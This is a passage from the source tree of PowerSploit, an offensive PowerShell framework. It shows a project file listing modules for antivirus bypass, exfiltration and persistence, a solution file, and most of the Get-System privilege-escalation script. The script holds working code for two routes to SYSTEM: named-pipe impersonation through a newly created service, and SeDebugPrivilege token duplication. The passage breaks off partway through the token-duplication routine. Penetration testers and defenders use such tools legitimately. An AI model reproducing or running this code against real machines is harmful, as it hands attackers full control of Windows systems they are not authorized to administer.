<Compile Include="ScriptModification\Out-CompressedDll.ps1" />
|
||||
<Compile Include="ScriptModification\Out-EncodedCommand.ps1" />
|
||||
<Compile Include="ScriptModification\Out-EncryptedScript.ps1" />
|
||||
<Compile Include="ScriptModification\Remove-Comments.ps1" />
|
||||
<Compile Include="ScriptModification\ScriptModification.psd1" />
|
||||
<Compile Include="ScriptModification\ScriptModification.psm1" />
|
||||
<Compile Include="ScriptModification\Usage.md" />
|
||||
<Compile Include="Tests\CodeExecution.tests.ps1" />
|
||||
<Compile Include="Tests\PowerSploit.tests.ps1" />
|
||||
<Compile Include="Tests\Privesc.tests.ps1" />
|
||||
<Compile Include="Tests\Recon.tests.ps1" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Folder Include="AntivirusBypass\" />
|
||||
<Folder Include="CodeExecution\" />
|
||||
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\" />
|
||||
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\" />
|
||||
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\" />
|
||||
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\" />
|
||||
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess\" />
|
||||
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\" />
|
||||
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MDd\" />
|
||||
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MD\" />
|
||||
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\" />
|
||||
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\ExeToInjectInTo\" />
|
||||
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\" />
|
||||
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\x64\" />
|
||||
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\x86\" />
|
||||
<Folder Include="Exfiltration\" />
|
||||
<Folder Include="Exfiltration\LogonUser\" />
|
||||
<Folder Include="Exfiltration\LogonUser\LogonUser\" />
|
||||
<Folder Include="Exfiltration\LogonUser\LogonUser\LogonUser\" />
|
||||
<Folder Include="Exfiltration\LogonUser\LogonUser\logon\" />
|
||||
<Folder Include="Exfiltration\NTFSParser\" />
|
||||
<Folder Include="Exfiltration\NTFSParser\NTFSParserDLL\" />
|
||||
<Folder Include="Exfiltration\NTFSParser\NTFSParser\" />
|
||||
<Folder Include="Mayhem\" />
|
||||
<Folder Include="Persistence\" />
|
||||
<Folder Include="Privesc\" />
|
||||
<Folder Include="Recon\" />
|
||||
<Folder Include="Recon\Dictionaries\" />
|
||||
<Folder Include="ScriptModification\" />
|
||||
<Folder Include="Tests\" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
<Target Name="Build" />
|
||||
</Project>
|
||||
@@ -0,0 +1,22 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 14
|
||||
VisualStudioVersion = 14.0.23107.0
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{F5034706-568F-408A-B7B3-4D38C6DB8A32}") = "PowerSploit", "PowerSploit.pssproj", "{6CAFC0C6-A428-4D30-A9F9-700E829FEA51}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{6CAFC0C6-A428-4D30-A9F9-700E829FEA51}.Debug|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{6CAFC0C6-A428-4D30-A9F9-700E829FEA51}.Debug|Any CPU.Build.0 = Release|Any CPU
|
||||
{6CAFC0C6-A428-4D30-A9F9-700E829FEA51}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{6CAFC0C6-A428-4D30-A9F9-700E829FEA51}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,600 @@
|
||||
function Get-System {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
GetSystem functionality inspired by Meterpreter's getsystem.
|
||||
|
||||
Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: PSReflect
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Executes "getsystem" functionality similar to Meterpreter.
|
||||
'NamedPipe' impersonation doesn't need SeDebugPrivilege but does create
|
||||
a service, 'Token' duplications a SYSTEM token but needs SeDebugPrivilege.
|
||||
NOTE: if running PowerShell 2.0, start powershell.exe with '-STA' to ensure
|
||||
token duplication works correctly.
|
||||
|
||||
|
||||
.PARAMETER Technique
|
||||
|
||||
The technique to use, 'NamedPipe' or 'Token'.
|
||||
|
||||
.PARAMETER ServiceName
|
||||
|
||||
The name of the service used with named pipe impersonation, defaults to 'TestSVC'.
|
||||
|
||||
.PARAMETER PipeName
|
||||
|
||||
The name of the named pipe used with named pipe impersonation, defaults to 'TestSVC'.
|
||||
|
||||
.PARAMETER RevToSelf
|
||||
|
||||
Reverts the current thread privileges.
|
||||
|
||||
.PARAMETER WhoAmI
|
||||
|
||||
Switch. Display the credentials for the current PowerShell thread.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-System
|
||||
|
||||
Uses named impersonate to elevate the current thread token to SYSTEM.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-System -ServiceName 'PrivescSvc' -PipeName 'secret'
|
||||
|
||||
Uses named impersonate to elevate the current thread token to SYSTEM
|
||||
with a custom service and pipe name.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-System -Technique Token
|
||||
|
||||
Uses token duplication to elevate the current thread token to SYSTEM.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-System -WhoAmI
|
||||
|
||||
Displays the credentials for the current thread.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-System -RevToSelf
|
||||
|
||||
Reverts the current thread privileges.
|
||||
|
||||
.LINK
|
||||
|
||||
https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c
|
||||
https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot
|
||||
http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/
|
||||
http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/
|
||||
#>
|
||||
|
||||
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
||||
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
|
||||
[CmdletBinding(DefaultParameterSetName = 'NamedPipe')]
|
||||
param(
|
||||
[Parameter(ParameterSetName = 'NamedPipe')]
|
||||
[Parameter(ParameterSetName = 'Token')]
|
||||
[String]
|
||||
[ValidateSet('NamedPipe', 'Token')]
|
||||
$Technique = 'NamedPipe',
|
||||
|
||||
[Parameter(ParameterSetName = 'NamedPipe')]
|
||||
[String]
|
||||
$ServiceName = 'TestSVC',
|
||||
|
||||
[Parameter(ParameterSetName = 'NamedPipe')]
|
||||
[String]
|
||||
$PipeName = 'TestSVC',
|
||||
|
||||
[Parameter(ParameterSetName = 'RevToSelf')]
|
||||
[Switch]
|
||||
$RevToSelf,
|
||||
|
||||
[Parameter(ParameterSetName = 'WhoAmI')]
|
||||
[Switch]
|
||||
$WhoAmI
|
||||
)
|
||||
|
||||
$ErrorActionPreference = 'Stop'
|
||||
|
||||
# from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
|
||||
function Local:Get-DelegateType
|
||||
{
|
||||
Param
|
||||
(
|
||||
[OutputType([Type])]
|
||||
|
||||
[Parameter( Position = 0)]
|
||||
[Type[]]
|
||||
$Parameters = (New-Object Type[](0)),
|
||||
|
||||
[Parameter( Position = 1 )]
|
||||
[Type]
|
||||
$ReturnType = [Void]
|
||||
)
|
||||
|
||||
$Domain = [AppDomain]::CurrentDomain
|
||||
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
|
||||
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
|
||||
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
|
||||
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
|
||||
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
|
||||
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
|
||||
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
|
||||
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
|
||||
|
||||
Write-Output $TypeBuilder.CreateType()
|
||||
}
|
||||
|
||||
# from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
|
||||
function Local:Get-ProcAddress
|
||||
{
|
||||
Param
|
||||
(
|
||||
[OutputType([IntPtr])]
|
||||
|
||||
[Parameter( Position = 0, Mandatory = $True )]
|
||||
[String]
|
||||
$Module,
|
||||
|
||||
[Parameter( Position = 1, Mandatory = $True )]
|
||||
[String]
|
||||
$Procedure
|
||||
)
|
||||
|
||||
# Get a reference to System.dll in the GAC
|
||||
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
|
||||
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
|
||||
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
|
||||
# Get a reference to the GetModuleHandle and GetProcAddress methods
|
||||
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
|
||||
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
|
||||
# Get a handle to the module specified
|
||||
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
|
||||
$tmpPtr = New-Object IntPtr
|
||||
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
|
||||
|
||||
# Return the address of the function
|
||||
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
|
||||
}
|
||||
|
||||
# performs named pipe impersonation to elevate to SYSTEM without needing
|
||||
# SeDebugPrivilege
|
||||
function Local:Get-SystemNamedPipe {
|
||||
param(
|
||||
[String]
|
||||
$ServiceName = 'TestSVC',
|
||||
|
||||
[String]
|
||||
$PipeName = 'TestSVC'
|
||||
)
|
||||
|
||||
$Command = "%COMSPEC% /C start %COMSPEC% /C `"timeout /t 3 >nul&&echo $PipeName > \\.\pipe\$PipeName`""
|
||||
|
||||
Add-Type -Assembly System.Core
|
||||
|
||||
# create the named pipe used for impersonation and set appropriate permissions
|
||||
$PipeSecurity = New-Object System.IO.Pipes.PipeSecurity
|
||||
$AccessRule = New-Object System.IO.Pipes.PipeAccessRule('Everyone', 'ReadWrite', 'Allow')
|
||||
$PipeSecurity.AddAccessRule($AccessRule)
|
||||
$Pipe = New-Object System.IO.Pipes.NamedPipeServerStream($PipeName, 'InOut', 100, 'Byte', 'None', 1024, 1024, $PipeSecurity)
|
||||
|
||||
$PipeHandle = $Pipe.SafePipeHandle.DangerousGetHandle()
|
||||
|
||||
# Declare/setup all the needed API function
|
||||
# adapted heavily from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
|
||||
$ImpersonateNamedPipeClientAddr = Get-ProcAddress Advapi32.dll ImpersonateNamedPipeClient
|
||||
$ImpersonateNamedPipeClientDelegate = Get-DelegateType @( [Int] ) ([Int])
|
||||
$ImpersonateNamedPipeClient = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateNamedPipeClientAddr, $ImpersonateNamedPipeClientDelegate)
|
||||
|
||||
$CloseServiceHandleAddr = Get-ProcAddress Advapi32.dll CloseServiceHandle
|
||||
$CloseServiceHandleDelegate = Get-DelegateType @( [IntPtr] ) ([Int])
|
||||
$CloseServiceHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseServiceHandleAddr, $CloseServiceHandleDelegate)
|
||||
|
||||
$OpenSCManagerAAddr = Get-ProcAddress Advapi32.dll OpenSCManagerA
|
||||
$OpenSCManagerADelegate = Get-DelegateType @( [String], [String], [Int]) ([IntPtr])
|
||||
$OpenSCManagerA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenSCManagerAAddr, $OpenSCManagerADelegate)
|
||||
|
||||
$OpenServiceAAddr = Get-ProcAddress Advapi32.dll OpenServiceA
|
||||
$OpenServiceADelegate = Get-DelegateType @( [IntPtr], [String], [Int]) ([IntPtr])
|
||||
$OpenServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenServiceAAddr, $OpenServiceADelegate)
|
||||
|
||||
$CreateServiceAAddr = Get-ProcAddress Advapi32.dll CreateServiceA
|
||||
$CreateServiceADelegate = Get-DelegateType @( [IntPtr], [String], [String], [Int], [Int], [Int], [Int], [String], [String], [Int], [Int], [Int], [Int]) ([IntPtr])
|
||||
$CreateServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateServiceAAddr, $CreateServiceADelegate)
|
||||
|
||||
$StartServiceAAddr = Get-ProcAddress Advapi32.dll StartServiceA
|
||||
$StartServiceADelegate = Get-DelegateType @( [IntPtr], [Int], [Int]) ([IntPtr])
|
||||
$StartServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StartServiceAAddr, $StartServiceADelegate)
|
||||
|
||||
$DeleteServiceAddr = Get-ProcAddress Advapi32.dll DeleteService
|
||||
$DeleteServiceDelegate = Get-DelegateType @( [IntPtr] ) ([IntPtr])
|
||||
$DeleteService = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DeleteServiceAddr, $DeleteServiceDelegate)
|
||||
|
||||
$GetLastErrorAddr = Get-ProcAddress Kernel32.dll GetLastError
|
||||
$GetLastErrorDelegate = Get-DelegateType @() ([Int])
|
||||
$GetLastError = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetLastErrorAddr, $GetLastErrorDelegate)
|
||||
|
||||
# Step 1 - OpenSCManager()
|
||||
# 0xF003F = SC_MANAGER_ALL_ACCESS
|
||||
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
|
||||
Write-Verbose '[Get-System] Opening service manager'
|
||||
$ManagerHandle = $OpenSCManagerA.Invoke('\\localhost', 'ServicesActive', 0xF003F)
|
||||
Write-Verbose "[Get-System] Service manager handle: $ManagerHandle"
|
||||
|
||||
# if we get a non-zero handle back, everything was successful
|
||||
if ($ManagerHandle -and ($ManagerHandle -ne 0)) {
|
||||
|
||||
# Step 2 - CreateService()
|
||||
# 0xF003F = SC_MANAGER_ALL_ACCESS
|
||||
# 0x10 = SERVICE_WIN32_OWN_PROCESS
|
||||
# 0x3 = SERVICE_DEMAND_START
|
||||
# 0x1 = SERVICE_ERROR_NORMAL
|
||||
Write-Verbose "[Get-System] Creating new service: '$ServiceName'"
|
||||
try {
|
||||
$ServiceHandle = $CreateServiceA.Invoke($ManagerHandle, $ServiceName, $ServiceName, 0xF003F, 0x10, 0x3, 0x1, $Command, $null, $null, $null, $null, $null)
|
||||
$err = $GetLastError.Invoke()
|
||||
}
|
||||
catch {
|
||||
Write-Warning "Error creating service : $_"
|
||||
$ServiceHandle = 0
|
||||
}
|
||||
Write-Verbose "[Get-System] CreateServiceA Handle: $ServiceHandle"
|
||||
|
||||
if ($ServiceHandle -and ($ServiceHandle -ne 0)) {
|
||||
$Success = $True
|
||||
Write-Verbose '[Get-System] Service successfully created'
|
||||
|
||||
# Step 3 - CloseServiceHandle() for the service handle
|
||||
Write-Verbose '[Get-System] Closing service handle'
|
||||
$Null = $CloseServiceHandle.Invoke($ServiceHandle)
|
||||
|
||||
# Step 4 - OpenService()
|
||||
Write-Verbose "[Get-System] Opening the service '$ServiceName'"
|
||||
$ServiceHandle = $OpenServiceA.Invoke($ManagerHandle, $ServiceName, 0xF003F)
|
||||
Write-Verbose "[Get-System] OpenServiceA handle: $ServiceHandle"
|
||||
|
||||
if ($ServiceHandle -and ($ServiceHandle -ne 0)){
|
||||
|
||||
# Step 5 - StartService()
|
||||
Write-Verbose '[Get-System] Starting the service'
|
||||
$val = $StartServiceA.Invoke($ServiceHandle, $null, $null)
|
||||
$err = $GetLastError.Invoke()
|
||||
|
||||
# if we successfully started the service, let it breathe and then delete it
|
||||
if ($val -ne 0){
|
||||
Write-Verbose '[Get-System] Service successfully started'
|
||||
# breathe for a second
|
||||
Start-Sleep -s 1
|
||||
}
|
||||
else{
|
||||
if ($err -eq 1053){
|
||||
Write-Verbose "[Get-System] Command didn't respond to start"
|
||||
}
|
||||
else{
|
||||
Write-Warning "[Get-System] StartService failed, LastError: $err"
|
||||
}
|
||||
# breathe for a second
|
||||
Start-Sleep -s 1
|
||||
}
|
||||
|
||||
# start cleanup
|
||||
# Step 6 - DeleteService()
|
||||
Write-Verbose "[Get-System] Deleting the service '$ServiceName'"
|
||||
$val = $DeleteService.invoke($ServiceHandle)
|
||||
$err = $GetLastError.Invoke()
|
||||
|
||||
if ($val -eq 0){
|
||||
Write-Warning "[Get-System] DeleteService failed, LastError: $err"
|
||||
}
|
||||
else{
|
||||
Write-Verbose '[Get-System] Service successfully deleted'
|
||||
}
|
||||
|
||||
# Step 7 - CloseServiceHandle() for the service handle
|
||||
Write-Verbose '[Get-System] Closing the service handle'
|
||||
$val = $CloseServiceHandle.Invoke($ServiceHandle)
|
||||
Write-Verbose '[Get-System] Service handle closed off'
|
||||
}
|
||||
else {
|
||||
Write-Warning "[Get-System] OpenServiceA failed, LastError: $err"
|
||||
}
|
||||
}
|
||||
|
||||
else {
|
||||
Write-Warning "[Get-System] CreateService failed, LastError: $err"
|
||||
}
|
||||
|
||||
# final cleanup - close off the manager handle
|
||||
Write-Verbose '[Get-System] Closing the manager handle'
|
||||
$Null = $CloseServiceHandle.Invoke($ManagerHandle)
|
||||
}
|
||||
else {
|
||||
# error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
|
||||
Write-Warning "[Get-System] OpenSCManager failed, LastError: $err"
|
||||
}
|
||||
|
||||
if($Success) {
|
||||
Write-Verbose '[Get-System] Waiting for pipe connection'
|
||||
$Pipe.WaitForConnection()
|
||||
|
||||
$Null = (New-Object System.IO.StreamReader($Pipe)).ReadToEnd()
|
||||
|
||||
$Out = $ImpersonateNamedPipeClient.Invoke([Int]$PipeHandle)
|
||||
Write-Verbose "[Get-System] ImpersonateNamedPipeClient: $Out"
|
||||
}
|
||||
|
||||
# clocse off the named pipe
|
||||
$Pipe.Dispose()
|
||||
}
|
||||
|
||||
# performs token duplication to elevate to SYSTEM
|
||||
# needs SeDebugPrivilege
|
||||
# written by @mattifestation and adapted from https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot
|
||||
Function Local:Get-SystemToken {
|
||||
[CmdletBinding()] param()
|
||||
|
||||
$DynAssembly = New-Object Reflection.AssemblyName('AdjPriv')
|
||||
$AssemblyBuilder = [Appdomain]::Currentdomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
|
||||
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('AdjPriv', $False)
|
||||
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
|
||||
|
||||
$TokPriv1LuidTypeBuilder = $ModuleBuilder.DefineType('TokPriv1Luid', $Attributes, [System.ValueType])
|
||||
$TokPriv1LuidTypeBuilder.DefineField('Count', [Int32], 'Public') | Out-Null
|
||||
$TokPriv1LuidTypeBuilder.DefineField('Luid', [Int64], 'Public') | Out-Null
|
||||
$TokPriv1LuidTypeBuilder.DefineField('Attr', [Int32], 'Public') | Out-Null
|
||||
$TokPriv1LuidStruct = $TokPriv1LuidTypeBuilder.CreateType()
|
||||
|
||||
$LuidTypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType])
|
||||
$LuidTypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
|
||||
$LuidTypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
|
||||
$LuidStruct = $LuidTypeBuilder.CreateType()
|
||||
|
||||
$Luid_and_AttributesTypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType])
|
||||
$Luid_and_AttributesTypeBuilder.DefineField('Luid', $LuidStruct, 'Public') | Out-Null
|
||||
$Luid_and_AttributesTypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null
|
||||
$Luid_and_AttributesStruct = $Luid_and_AttributesTypeBuilder.CreateType()
|
||||
|
||||
$ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
|
||||
$ConstructorValue = [Runtime.InteropServices.UnmanagedType]::ByValArray
|
||||
$FieldArray = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
|
||||
|
||||
$TokenPrivilegesTypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType])
|
||||
$TokenPrivilegesTypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
|
||||
$PrivilegesField = $TokenPrivilegesTypeBuilder.DefineField('Privileges', $Luid_and_AttributesStruct.MakeArrayType(), 'Public')
|
||||
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 1))
|
||||
$PrivilegesField.SetCustomAttribute($AttribBuilder)
|
||||
# $TokenPrivilegesStruct = $TokenPrivilegesTypeBuilder.CreateType()
|
||||
|
||||
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder(
|
||||
([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]),
|
||||
'advapi32.dll',
|
||||
@([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')),
|
||||
@([Bool] $True)
|
||||
)
|
||||
|
||||
$AttribBuilder2 = New-Object Reflection.Emit.CustomAttributeBuilder(
|
||||
([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]),
|
||||
'kernel32.dll',
|
||||
@([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')),
|
||||
@([Bool] $True)
|
||||
)
|
||||
|
||||
$Win32TypeBuilder = $ModuleBuilder.DefineType('Win32Methods', $Attributes, [ValueType])
|
||||
$Win32TypeBuilder.DefinePInvokeMethod(
|
||||
'OpenProcess',
|
||||
'kernel32.dll',
|
||||
[Reflection.MethodAttributes] 'Public, Static',
|
||||
[Reflection.CallingConventions]::Standard,
|
||||
[IntPtr],
|
||||
@([UInt32], [Bool], [UInt32]),
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
'Auto').SetCustomAttribute($AttribBuilder2)
|
||||
|
||||
$Win32TypeBuilder.DefinePInvokeMethod(
|
||||
'CloseHandle',
|
||||
'kernel32.dll',
|
||||
[Reflection.MethodAttributes] 'Public, Static',
|
||||
[Reflection.CallingConventions]::Standard,
|
||||
[Bool],
|
||||
@([IntPtr]),
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
'Auto').SetCustomAttribute($AttribBuilder2)
|
||||
|
||||
$Win32TypeBuilder.DefinePInvokeMethod(
|
||||
'DuplicateToken',
|
||||
'advapi32.dll',
|
||||
[Reflection.MethodAttributes] 'Public, Static',
|
||||
[Reflection.CallingConventions]::Standard,
|
||||
[Bool],
|
||||
@([IntPtr], [Int32], [IntPtr].MakeByRefType()),
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
'Auto').SetCustomAttribute($AttribBuilder)
|
||||
|
||||
$Win32TypeBuilder.DefinePInvokeMethod(
|
||||
'SetThreadToken',
|
||||
'advapi32.dll',
|
||||
[Reflection.MethodAttributes] 'Public, Static',
|
||||
[Reflection.CallingConventions]::Standard,
|
||||
[Bool],
|
||||
@([IntPtr], [IntPtr]),
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
'Auto').SetCustomAttribute($AttribBuilder)
|
||||
|
||||
$Win32TypeBuilder.DefinePInvokeMethod(
|
||||
'OpenProcessToken',
|
||||
'advapi32.dll',
|
||||
[Reflection.MethodAttributes] 'Public, Static',
|
||||
[Reflection.CallingConventions]::Standard,
|
||||
[Bool],
|
||||
@([IntPtr], [UInt32], [IntPtr].MakeByRefType()),
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
'Auto').SetCustomAttribute($AttribBuilder)
|
||||
|
||||
$Win32TypeBuilder.DefinePInvokeMethod(
|
||||
'LookupPrivilegeValue',
|
||||
'advapi32.dll',
|
||||
[Reflection.MethodAttributes] 'Public, Static',
|
||||
[Reflection.CallingConventions]::Standard,
|
||||
[Bool],
|
||||
@([String], [String], [IntPtr].MakeByRefType()),
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
'Auto').SetCustomAttribute($AttribBuilder)
|
||||
|
||||
$Win32TypeBuilder.DefinePInvokeMethod(
|
||||
'AdjustTokenPrivileges',
|
||||
'advapi32.dll',
|
||||
[Reflection.MethodAttributes] 'Public, Static',
|
||||
[Reflection.CallingConventions]::Standard,
|
||||
[Bool],
|
||||
@([IntPtr], [Bool], $TokPriv1LuidStruct.MakeByRefType(),[Int32], [IntPtr], [IntPtr]),
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
'Auto').SetCustomAttribute($AttribBuilder)
|
||||
|
||||
$Win32Methods = $Win32TypeBuilder.CreateType()
|
||||
|
||||
$Win32Native = [Int32].Assembly.GetTypes() | Where-Object {$_.Name -eq 'Win32Native'}
|
||||
$GetCurrentProcess = $Win32Native.GetMethod(
|
||||
'GetCurrentProcess',
|
||||
[Reflection.BindingFlags] 'NonPublic, Static'
|
||||
)
|
||||
|
||||
$SE_PRIVILEGE_ENABLED = 0x00000002
|
||||
$STANDARD_RIGHTS_REQUIRED = 0x000F0000
|
||||
# $STANDARD_RIGHTS_READ = 0x00020000
|
||||
$TOKEN_ASSIGN_PRIMARY = 0x00000001
|
||||
$TOKEN_DUPLICATE = 0x00000002
|
||||
$TOKEN_IMPERSONATE = 0x00000004
|
||||
$TOKEN_QUERY = 0x00000008
|
||||
$TOKEN_QUERY_SOURCE = 0x00000010
|
||||
$TOKEN_ADJUST_PRIVILEGES = 0x00000020
|
||||
$TOKEN_ADJUST_GROUPS = 0x00000040
|
||||
$TOKEN_ADJUST_DEFAULT = 0x00000080
|
||||
$TOKEN_ADJUST_SESSIONID = 0x00000100
|
||||
# $TOKEN_READ = $STANDARD_RIGHTS_READ -bor $TOKEN_QUERY
|
||||
$TOKEN_ALL_ACCESS = $STANDARD_RIGHTS_REQUIRED -bor
|
||||
$TOKEN_ASSIGN_PRIMARY -bor
|
||||
$TOKEN_DUPLICATE -bor
|
||||
$TOKEN_IMPERSONATE -bor
|
||||
$TOKEN_QUERY -bor
|
||||
$TOKEN_QUERY_SOURCE -bor
|
||||
$TOKEN_ADJUST_PRIVILEGES -bor
|
||||
$TOKEN_ADJUST_GROUPS -bor
|
||||
$TOKEN_ADJUST_DEFAULT -bor
|
||||
$TOKEN_ADJUST_SESSIONID
|
||||
|
||||
[long]$Luid = 0
|
||||
|
||||
$tokPriv1Luid = [Activator]::CreateInstance($TokPriv1LuidStruct)
|
||||
$tokPriv1Luid.Count = 1
|
||||
$tokPriv1Luid.Luid = $Luid
|
||||
$tokPriv1Luid.Attr = $SE_PRIVILEGE_ENABLED
|
||||
|
||||
$RetVal = $Win32Methods::LookupPrivilegeValue($Null, 'SeDebugPrivilege', [ref]$tokPriv1Luid.Luid)
|
||||
|
||||
$htoken = [IntPtr]::Zero
|
||||
$RetVal = $Win32Methods::OpenProcessToken($GetCurrentProcess.Invoke($Null, @()), $TOKEN_ALL_ACCESS, [ref]$htoken)
|
||||
|
||||
# $tokenPrivileges = [Activator]::CreateInstance($TokenPrivilegesStruct)
|
||||
$RetVal = $Win32Methods::AdjustTokenPrivileges($htoken, $False, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero)
|
||||
|
||||
if(-not($RetVal)) {
|
||||
Write-Error "[Get-System] AdjustTokenPrivileges failed, RetVal : $RetVal" -ErrorAction Stop
|
||||
}
|
||||
|
||||
$LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value
|
||||
|
||||
$SystemHandle = Get-WmiObject -Class Win32_Process | ForEach-Object {
|
||||
try {
|
||||
$OwnerInfo = $_.GetOwner()
|
||||
